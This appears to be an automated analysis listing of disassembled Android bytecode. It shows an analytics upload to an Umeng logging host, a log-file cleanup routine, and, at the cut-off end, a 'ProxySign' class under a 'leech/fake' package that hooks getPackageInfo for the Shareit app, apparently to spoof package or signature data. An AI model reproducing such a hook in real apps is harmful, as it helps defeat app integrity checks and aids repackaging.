                                                                              23new-instance v5, Ljava/net/InetSocketAddress;
                                                                              25iget-object v6, p0, LuAgent/commonsdk/stateless/e;->a:Ljava/lang/String;
                                                                              26iget v7, p0, LuAgent/commonsdk/stateless/e;->b:I
                                                                              28invoke-direct {v5, v6, v7}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                                                                              30invoke-direct {v0, v3, v5}, Ljava/net/Proxy;-><init>(Ljava/net/Proxy$Type;Ljava/net/SocketAddress;)V
                                                                              31new-instance v3, Ljava/net/URL;
                                                                              32new-instance v5, Ljava/lang/StringBuilder;
                                                                              34invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              36const-string v6, "https://plbslog.umeng.com/"
                                                                              38invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              39move-result-object v5
                                                                              41invoke-virtual {v5, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              42move-result-object v5
                                                                              44invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              45move-result-object v5
                                                                              47invoke-direct {v3, v5}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              49invoke-virtual {v3, v0}, Ljava/net/URL;->openConnection(Ljava/net/Proxy;)Ljava/net/URLConnection;
                                                                              50move-result-object v0
                                                                              51check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                                                                              52try_end_49: move-object v3, v0
                                                                              53try_start_4a:
                                                                              54sget-object v0, Lorg/apache/http/conn/ssl/SSLSocketFactory;->STRICT_HOSTNAME_VERIFIER:Lorg/apache/http/conn/ssl/X509HostnameVerifier;
                                                                              56invoke-static {v0}, Ljavax/net/ssl/HttpsURLConnection;->setDefaultHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                                                                              58const-string v0, "TLS"
                                                                              60invoke-static {v0}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext;
                                                                              61move-result-object v0
                                                                              62const/4 v5, 0x0
                                                                              63const/4 v6, 0x0
                                                                              64new-instance v7, Ljava/security/SecureRandom;
                                                                              66invoke-direct {v7}, Ljava/security/SecureRandom;-><init>()V
                                                                              68invoke-virtual {v0, v5, v6, v7}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V
                                                                              70invoke-virtual {v0}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory;
                                                                              71move-result-object v0
                                                                              73invoke-static {v0}, Ljavax/net/ssl/HttpsURLConnection;->setDefaultSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V
                                                                              75const-string v0, "X-Umeng-UTC"
                                                                              77invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                                              78move-result-wide v5
                                                                              80invoke-static {v5, v6}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                                                              81move-result-object v5
                                                                              83invoke-virtual {v3, v0, v5}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              85const-string v0, "Msg-Type"
                                                                              87const-string v5, "envelope/json"
                                                                              89invoke-virtual {v3, v0, v5}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              90const/16 v0, 0x7530
                                                                              92invoke-virtual {v3, v0}, Ljavax/net/ssl/HttpsURLConnection;->setConnectTimeout(I)V
                                                                              93const/16 v0, 0x7530
                                                                              95invoke-virtual {v3, v0}, Ljavax/net/ssl/HttpsURLConnection;->setReadTimeout(I)V
                                                                              97const-string v0, "POST"
                                                                              99invoke-virtual {v3, v0}, Ljavax/net/ssl/HttpsURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              100const/4 v0, 0x1
                                                                              102invoke-virtual {v3, v0}, Ljavax/net/ssl/HttpsURLConnection;->setDoOutput(Z)V
                                                                              103const/4 v0, 0x1
                                                                              105invoke-virtual {v3, v0}, Ljavax/net/ssl/HttpsURLConnection;->setDoInput(Z)V
                                                                              106const/4 v0, 0x0
                                                                              108invoke-virtual {v3, v0}, Ljavax/net/ssl/HttpsURLConnection;->setUseCaches(Z)V
                                                                              110invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              111try_end_98: move-result-object v0
                                                                              112try_start_99:
                                                                              113invoke-virtual {v0, p1}, Ljava/io/OutputStream;->write([B)V
                                                                              115invoke-virtual {v0}, Ljava/io/OutputStream;->flush()V
                                                                              117invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->connect()V
                                                                              119invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->getResponseCode()I
                                                                              120try_end_a5: move-result v1
                                                                              121const/16 v5, 0xc8
                                                                              122if-ne v1, v5, :cond_148
                                                                              123move v1, v4
                                                                              124goto_ab: if-eqz v0, :cond_b0
                                                                              125try_start_ad:
                                                                              126invoke-virtual {v0}, Ljava/io/OutputStream;->close()V
                                                                              127cond_b0: if-eqz v3, :cond_13d
                                                                              128try_start_b2:
                                                                              129invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              130move-result-object v0
                                                                              132invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                                                                              133goto_b9:
                                                                              134invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              135move v2, v1
                                                                              136goto/16 :goto_14
                                                                              137cond_bf: new-instance v0, Ljava/net/URL;
                                                                              138new-instance v3, Ljava/lang/StringBuilder;
                                                                              140invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              142const-string v5, "https://plbslog.umeng.com/"
                                                                              144invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              145move-result-object v3
                                                                              147invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              148move-result-object v3
                                                                              150invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              151move-result-object v3
                                                                              153invoke-direct {v0, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              155invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              156move-result-object v0
                                                                              157check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                                                                              158try_end_dd: move-object v3, v0
                                                                              159goto/16 :goto_4a
                                                                              160catch_e0: move-exception v0
                                                                              161move-object v3, v1
                                                                              162goto_e2:
                                                                              163const-string v4, "SSLHandshakeException, Failed to send message."
                                                                              165invoke-static {v4, v0}, LuAgent/commonsdk/statistics/common/MLog;->e(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              166try_end_e7: if-eqz v1, :cond_ec
                                                                              167try_start_e9:
                                                                              168invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
                                                                              169cond_ec: if-eqz v3, :cond_145
                                                                              170try_start_ee:
                                                                              171invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              172move-result-object v0
                                                                              174invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                                                                              175goto_f5:
                                                                              176invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              177goto/16 :goto_14
                                                                              178catch_fa: move-exception v0
                                                                              179move-object v3, v1
                                                                              180try_start_fc:
                                                                              181const-string v4, "Exception,Failed to send message."
                                                                              183invoke-static {v4, v0}, LuAgent/commonsdk/statistics/common/MLog;->e(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              185iget-object v4, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              187invoke-static {v4, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              188try_end_106: if-eqz v1, :cond_10b
                                                                              189try_start_108:
                                                                              190invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
                                                                              191goto_10b: if-eqz v3, :cond_145
                                                                              192try_start_10d:
                                                                              193invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              194move-result-object v0
                                                                              196invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                                                                              197try_end_114:
                                                                              198invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              199goto/16 :goto_14
                                                                              200catchall_119: move-exception v0
                                                                              201move-object v3, v1
                                                                              202goto_11b: if-eqz v1, :cond_120
                                                                              203try_start_11d:
                                                                              204invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
                                                                              205goto_120: if-eqz v3, :cond_12c
                                                                              206try_start_122:
                                                                              207invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              208move-result-object v1
                                                                              210invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              211goto_129:
                                                                              212invoke-virtual {v3}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              213cond_12c: throw v0
                                                                              214catch_12d: move-exception v0
                                                                              215move-object v8, v1
                                                                              216move-object v1, v0
                                                                              217move-object v0, v8
                                                                              218goto_131: move-object v8, v0
                                                                              219move-object v0, v1
                                                                              220move-object v1, v8
                                                                              221goto/16 :goto_fc
                                                                              222catch_135: move-exception v0
                                                                              223move-object v8, v1
                                                                              224move-object v1, v0
                                                                              225move-object v0, v8
                                                                              226goto_139: move-object v8, v0
                                                                              227move-object v0, v1
                                                                              228move-object v1, v8
                                                                              229goto/16 :goto_e2
                                                                              230cond_13d: move v0, v1
                                                                              231goto/16 :goto_13
                                                                              232catchall_140: move-exception v1
                                                                              233move-object v8, v0
                                                                              234move-object v0, v1
                                                                              235move-object v1, v8
                                                                              236goto/16 :goto_11b
                                                                              237cond_145: move v0, v2
                                                                              238goto/16 :goto_13
                                                                              239cond_148: move v1, v2
                                                                              240goto/16 :goto_ab
                                                                              241catch_14b: move-exception v0
                                                                              242goto/16 :goto_b0
                                                                              243catch_14e: move-exception v0
                                                                              244goto/16 :goto_ec
                                                                              245catch_150: move-exception v0
                                                                              246goto/16 :goto_10b
                                                                              247catch_152: move-exception v1
                                                                              248goto/16 :goto_120
                                                                              249catch_154: move-exception v1
                                                                              250goto/16 :goto_131
                                                                              251catch_156: move-exception v0
                                                                              252goto/16 :goto_b9
                                                                              253catch_159: move-exception v1
                                                                              254goto/16 :goto_139
                                                                              255catch_15b: move-exception v0
                                                                              256goto/16 :goto_f5
                                                                              257catch_15d: move-exception v0
                                                                              258goto/16 :goto_114
                                                                              259catchall_15f: move-exception v0
                                                                              260goto/16 :goto_11b
                                                                              261catchall_161: move-exception v0
                                                                              262goto/16 :goto_11b
                                                                              263catch_163: move-exception v1
                                                                              264goto/16 :goto_129
                                                                              265catchall_165: move-exception v0
                                                                              266goto/16 :goto_11b
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • java.io.File.isDirectory
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.listFiles
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.add
                                                                              • java.util.ArrayList.size
                                                                              • java.util.Collections.sort
                                                                              • java.util.ArrayList.size
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.util.ArrayList.get
                                                                              • java.io.File.getPath
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.get
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.util.ArrayList.get
                                                                              • java.io.File.getPath
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.util.ArrayList.get
                                                                              • java.io.File.delete
                                                                              • java.util.ArrayList.remove
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • AmapLBS
                                                                              • [lbs-build] fileDir not exist, thread is
                                                                              • [lbs-build] delete file begin
                                                                              • , thread is
                                                                              • [lbs-build] file size >= max
                                                                              • [lbs-build] overrun native file is
                                                                              • [lbs-build] overrun remove file is
                                                                              • [lbs-build] file size < max
                                                                              • [lbs-build] delete file end
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x0
                                                                              1if-nez p1, :cond_26
                                                                              2try_start_3:
                                                                              3const-string v0, "AmapLBS"
                                                                              4const/4 v1, 0x1
                                                                              5new-array v1, v1, [Ljava/lang/Object;
                                                                              6const/4 v2, 0x0
                                                                              7new-instance v3, Ljava/lang/StringBuilder;
                                                                              9invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              11const-string v4, "[lbs-build] fileDir not exist, thread is "
                                                                              13invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              14move-result-object v3
                                                                              16invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              17move-result-object v4
                                                                              19invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              20move-result-object v3
                                                                              22invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              23move-result-object v3
                                                                              24aput-object v3, v1, v2
                                                                              26invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              27goto_25: return-void
                                                                              28cond_26: new-instance v0, Ljava/io/File;
                                                                              30invoke-direct {v0, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              32invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
                                                                              33move-result v1
                                                                              34if-nez v1, :cond_59
                                                                              36const-string v0, "AmapLBS"
                                                                              37const/4 v1, 0x1
                                                                              38new-array v1, v1, [Ljava/lang/Object;
                                                                              39const/4 v2, 0x0
                                                                              40new-instance v3, Ljava/lang/StringBuilder;
                                                                              42invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              44const-string v4, "[lbs-build] fileDir not exist, thread is "
                                                                              46invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              47move-result-object v3
                                                                              49invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              50move-result-object v4
                                                                              52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              53move-result-object v3
                                                                              55invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              56move-result-object v3
                                                                              57aput-object v3, v1, v2
                                                                              59invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              60try_end_53: goto/16 :goto_25
                                                                              61catch_54: move-exception v0
                                                                              63invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              64goto/16 :goto_25
                                                                              65cond_59:
                                                                              66sget-object v3, LuAgent/commonsdk/stateless/f;->c:Ljava/lang/Object;
                                                                              67monitor-enter v3
                                                                              68try_start_5c:
                                                                              69invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
                                                                              70move-result-object v4
                                                                              72const-string v0, "AmapLBS"
                                                                              73const/4 v1, 0x1
                                                                              74new-array v1, v1, [Ljava/lang/Object;
                                                                              75const/4 v5, 0x0
                                                                              76new-instance v6, Ljava/lang/StringBuilder;
                                                                              78invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              80const-string v7, "[lbs-build] delete file begin "
                                                                              82invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              83move-result-object v6
                                                                              84array-length v7, v4
                                                                              86invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              87move-result-object v6
                                                                              89const-string v7, ", thread is "
                                                                              91invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              92move-result-object v6
                                                                              94invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              95move-result-object v7
                                                                              97invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              98move-result-object v6
                                                                              100invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              101move-result-object v6
                                                                              102aput-object v6, v1, v5
                                                                              104invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              105if-eqz v4, :cond_13f
                                                                              106array-length v0, v4
                                                                              107if-lt v0, p2, :cond_13f
                                                                              109const-string v0, "AmapLBS"
                                                                              110const/4 v1, 0x1
                                                                              111new-array v1, v1, [Ljava/lang/Object;
                                                                              112const/4 v5, 0x0
                                                                              114const-string v6, "[lbs-build] file size >= max"
                                                                              115aput-object v6, v1, v5
                                                                              117invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              118new-instance v5, Ljava/util/ArrayList;
                                                                              120invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
                                                                              121array-length v1, v4
                                                                              122try_end_a5: move v0, v2
                                                                              123goto_a6: if-ge v0, v1, :cond_b2
                                                                              124aget-object v6, v4, v0
                                                                              125if-eqz v6, :cond_af
                                                                              126try_start_ac:
                                                                              127invoke-virtual {v5, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                                                              128cond_af: add-int/lit8 v0, v0, 0x1
                                                                              129goto/16 :goto_a6
                                                                              130cond_b2: if-eqz v5, :cond_14c
                                                                              132invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              133move-result v0
                                                                              134if-lt v0, p2, :cond_14c
                                                                              135new-instance v0, LuAgent/commonsdk/stateless/f$2;
                                                                              137invoke-direct {v0}, LuAgent/commonsdk/stateless/f$2;-><init>()V
                                                                              139invoke-static {v5, v0}, Ljava/util/Collections;->sort(Ljava/util/List;Ljava/util/Comparator;)V
                                                                              140sget-boolean v0, LuAgent/commonsdk/statistics/common/e;->a:Z
                                                                              141if-eqz v0, :cond_f9
                                                                              142move v1, v2
                                                                              143goto_c7:
                                                                              144invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              145move-result v0
                                                                              146if-ge v1, v0, :cond_f9
                                                                              148const-string v6, "AmapLBS"
                                                                              149const/4 v0, 0x1
                                                                              150new-array v7, v0, [Ljava/lang/Object;
                                                                              151const/4 v8, 0x0
                                                                              152new-instance v0, Ljava/lang/StringBuilder;
                                                                              154invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                                              156const-string v9, "[lbs-build] overrun native file is "
                                                                              158invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              159move-result-object v9
                                                                              161invoke-virtual {v5, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                                                              162move-result-object v0
                                                                              163check-cast v0, Ljava/io/File;
                                                                              165invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                                              166move-result-object v0
                                                                              168invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              169move-result-object v0
                                                                              171invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              172move-result-object v0
                                                                              173aput-object v0, v7, v8
                                                                              175invoke-static {v6, v7}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              176add-int/lit8 v0, v1, 0x1
                                                                              177move v1, v0
                                                                              178goto/16 :goto_c7
                                                                              179cond_f9:
                                                                              180invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              181move-result v0
                                                                              182sub-int/2addr v0, p2
                                                                              183if-gt v2, v0, :cond_14c
                                                                              184if-eqz v5, :cond_13c
                                                                              186invoke-virtual {v5, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                                                              187move-result-object v0
                                                                              188if-eqz v0, :cond_13c
                                                                              190const-string v1, "AmapLBS"
                                                                              191const/4 v0, 0x1
                                                                              192new-array v6, v0, [Ljava/lang/Object;
                                                                              193const/4 v7, 0x0
                                                                              194new-instance v0, Ljava/lang/StringBuilder;
                                                                              196invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                                              198const-string v8, "[lbs-build] overrun remove file is "
                                                                              200invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              201move-result-object v8
                                                                              203invoke-virtual {v5, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                                                              204move-result-object v0
                                                                              205check-cast v0, Ljava/io/File;
                                                                              207invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                                              208move-result-object v0
                                                                              210invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              211move-result-object v0
                                                                              213invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              214move-result-object v0
                                                                              215aput-object v0, v6, v7
                                                                              217invoke-static {v1, v6}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              218try_end_130:
                                                                              219invoke-virtual {v5, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                                                              220move-result-object v0
                                                                              221check-cast v0, Ljava/io/File;
                                                                              223invoke-virtual {v0}, Ljava/io/File;->delete()Z
                                                                              225invoke-virtual {v5, v2}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object;
                                                                              226cond_13c: add-int/lit8 v2, v2, 0x1
                                                                              227goto/16 :goto_f9
                                                                              228cond_13f:
                                                                              229const-string v0, "AmapLBS"
                                                                              230const/4 v1, 0x1
                                                                              231new-array v1, v1, [Ljava/lang/Object;
                                                                              232const/4 v2, 0x0
                                                                              234const-string v5, "[lbs-build] file size < max"
                                                                              235aput-object v5, v1, v2
                                                                              237invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              238cond_14c:
                                                                              239const-string v0, "AmapLBS"
                                                                              240const/4 v1, 0x1
                                                                              241new-array v1, v1, [Ljava/lang/Object;
                                                                              242const/4 v2, 0x0
                                                                              243new-instance v5, Ljava/lang/StringBuilder;
                                                                              245invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              247const-string v6, "[lbs-build] delete file end "
                                                                              249invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              250move-result-object v5
                                                                              251array-length v4, v4
                                                                              253invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              254move-result-object v4
                                                                              256const-string v5, ", thread is "
                                                                              258invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              259move-result-object v4
                                                                              261invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              262move-result-object v5
                                                                              264invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              265move-result-object v4
                                                                              267invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              268move-result-object v4
                                                                              269aput-object v4, v1, v2
                                                                              271invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              272monitor-exit v3
                                                                              273goto/16 :goto_25
                                                                              274catchall_17c: move-exception v0
                                                                              275monitor-exit v3
                                                                              276try_start_17e: throw v0
                                                                              277try_end_17f: move-exception v0
                                                                              278goto/16 :goto_13c
                                                                              APIs
                                                                              • java.lang.reflect.Method.getName
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                                                                              • java.lang.Exception.<init>
                                                                              • java.lang.Exception.getStackTrace
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • java.lang.StackTraceElement.getClassName
                                                                              • java.lang.String.equals
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • getPackageInfo
                                                                              • com.lenovo.anyshare.gps
                                                                              • com.lenovo.anyshare.dqp
                                                                              • com.lenovo.anyshare.den
                                                                              • com.lenovo.anyshare.cqn
                                                                              • com.lenovo.anyshare.cnx
                                                                              • com.lenovo.anyshare.cok
                                                                              • com.lenovo.anyshare.cnc
                                                                              • com.lenovo.anyshare.bri
                                                                              • com.lenovo.anyshare.cna
                                                                              • com.lenovo.anyshare.cga
                                                                              • com.lenovo.anyshare.ckj
                                                                              • com.lenovo.anyshare.cgj
                                                                              • Shareit
                                                                              • ProxySign
                                                                              • sourceDir:
                                                                              • getHighVersionPatch:
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "proxy" # Ljava/lang/Object;
                                                                              1.param p2, "method" # Ljava/lang/reflect/Method;
                                                                              2.param p3, "args" # [Ljava/lang/Object;
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/lang/Throwable;
                                                                              6}
                                                                              7.end annotation
                                                                              8.prologue
                                                                              9const/4 v5, 0x0
                                                                              10const/4 v9, 0x0
                                                                              12invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                                              13move-result-object v6
                                                                              15const-string v7, "getPackageInfo"
                                                                              17invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              18move-result v6
                                                                              19if-eqz v6, :cond_13d
                                                                              20aget-object v1, p3, v5
                                                                              21check-cast v1, Ljava/lang/String;
                                                                              22if-eqz v1, :cond_13d
                                                                              24const-string v6, "com.lenovo.anyshare.gps"
                                                                              26invoke-virtual {v1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              27move-result v6
                                                                              28if-eqz v6, :cond_13d
                                                                              30iget-object v6, p0, Lcom/android/leech/main/fake/ProxySign;->proxied:Ljava/lang/Object;
